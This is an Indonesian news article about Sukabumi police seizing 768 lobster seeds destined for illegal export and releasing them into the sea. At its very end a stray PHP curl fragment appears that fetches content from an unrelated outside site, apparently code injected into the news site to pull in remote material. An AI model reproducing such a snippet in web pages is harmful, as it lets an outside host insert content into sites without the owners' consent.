Polres Sukabumi Gagalkan Upaya Ekspor Perdagangan Bayi Lobster

Rabu, 13 Oktober 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.Info l Sukabumi – Sebanyak 443 benur jenis pasir dan 325 benur jenis mutiara di sita polisi dari dua orang pelaku RN (35) dan RA (20) yang keduanya berprofesi sebagai wiraswasta.

Hal ini diungkapkan Kapolres Sukabumi Akbp Dedy Darmawansyah yang didampingi Kasat Reskrim Akp Rizka Fadhila beserta petugas Dinas Perikanan dan Kelautan Kabupaten Sukabumi dalam suatu konferensi pers di Mapolres Sukabumi, Rabu (13/10/2021).

Menurut Dedy didepan awak media yang meliput kegiatan rilis ini kedua pelaku RN dan RA ini akan membawa dan menjual benih lobster atau benur kepada seseorang Mr. X yang masih dalam pendalaman pihak polisi.

Baca Juga:  Kami Sudah Mengantongi Identitas Penyebar Kabar Bohong 

” Hari ini kita ada ekspos penangkapan benur oleh Sat Reskrim, penangkapan ini karena ada himbauan dari Kepada Dinas Perikanan dan Kelautan Kabupaten Sukabumi tertanggal 20 Nopember 2020 tentang himbauan tidak menangkap benur untuk di ekspor”, ungkap Dedy kepada Awak media.

Masih kata Dedy Polres Sukabumi telah menangkap 2 orang pelaku RN selaku pengepul dan RA karyawan RN.

Baca Juga:  Kapolda Jatim Menerima Kunker Tim Kompolnas RI di Polda Jatim

” Rencananya benur tersebut akan dikirim ke Mr. X masih kita dalami, barang bukti ada sekitar 768 ekor dengan dibungkus 6 plastik bening, kepada pelaku diduga melanggar UU Perikanan dengan ancaman hukuman 8 tahun penjara”, ujar alumni akpol tahun 2002 ini.

Para pelaku baik RN, RA maupun Mr. X diketahui tidak mempunyai tempat untuk budi daya benur sehingga para pelaku tidak masuk dalam kriteria yang diizinkan untuk melakukan pengambilan, pengumpulan dan memperjualbelikan benih bening lobster atau benur berdasarkan norma, standar, prosedur yang ditetapkan oleh pemerintah pusat

Baca Juga:  Satgas Pamrahwan Maluku Utara Tahun 2021 Yonif Raider khusus 732/Banau Sosialisasi Prokes 

Sementara dihari yang sama bertempat di Pantai Batu Bentang Kecamatan Palabuhanratu Anggota Sat Reskrim bersama petugas Dinas perikanan dan Kelautan Kabupaten Sukabumi melepas kembali benur hasil pengungkapan tersebut ke laut lepas dan diharapkan benur tersebut dapat berkembang biak dan pada saatnya bisa dipanen oleh para nelayan dengan nilai jual yang lebih menguntungkan dari sisi ekonomi.(Tim JK Info Jabar)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

6 Tim Binsat Pasmar 2 Siap Berlaga Pada Lomba Binsat Korps Marinir 2024
Ops Patuh Seulawah 2024: Sat Lantas Polres Aceh Jaya Berikan Helm Gratis dan Edukasi Lalu Lintas
Polres Metro Depok gelar Operasi Patuh Jaya 2024
Bupati Nias Utara Sambut Hangat Kunjungan Kerja Kapolda Sumut
Cegah Gangguan Kamtibmas Blue Light Patrol Polsek Mengwi Sambangi Pasar Adat Desa Mengwi
Ditpolairud Polda Bali Siagakan Dua Kapal dan Tiga Helikopter Amankan KTT WWF
Sukseskan KTT WWF, Kapolsek Kediri didampingi Waka Polsek Sambangi Kurnia Seafood Bali
Tim Supervisi Bidpropam Polda Sulteng Kunjungi Polres Touna

Berita Terkait

Senin, 26 Agustus 2024 - 22:01 WIB

6 Tim Binsat Pasmar 2 Siap Berlaga Pada Lomba Binsat Korps Marinir 2024

Selasa, 16 Juli 2024 - 11:40 WIB

Ops Patuh Seulawah 2024: Sat Lantas Polres Aceh Jaya Berikan Helm Gratis dan Edukasi Lalu Lintas

Senin, 15 Juli 2024 - 23:58 WIB

Polres Metro Depok gelar Operasi Patuh Jaya 2024

Jumat, 14 Juni 2024 - 11:46 WIB

Bupati Nias Utara Sambut Hangat Kunjungan Kerja Kapolda Sumut

Rabu, 12 Juni 2024 - 13:58 WIB

Cegah Gangguan Kamtibmas Blue Light Patrol Polsek Mengwi Sambangi Pasar Adat Desa Mengwi

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>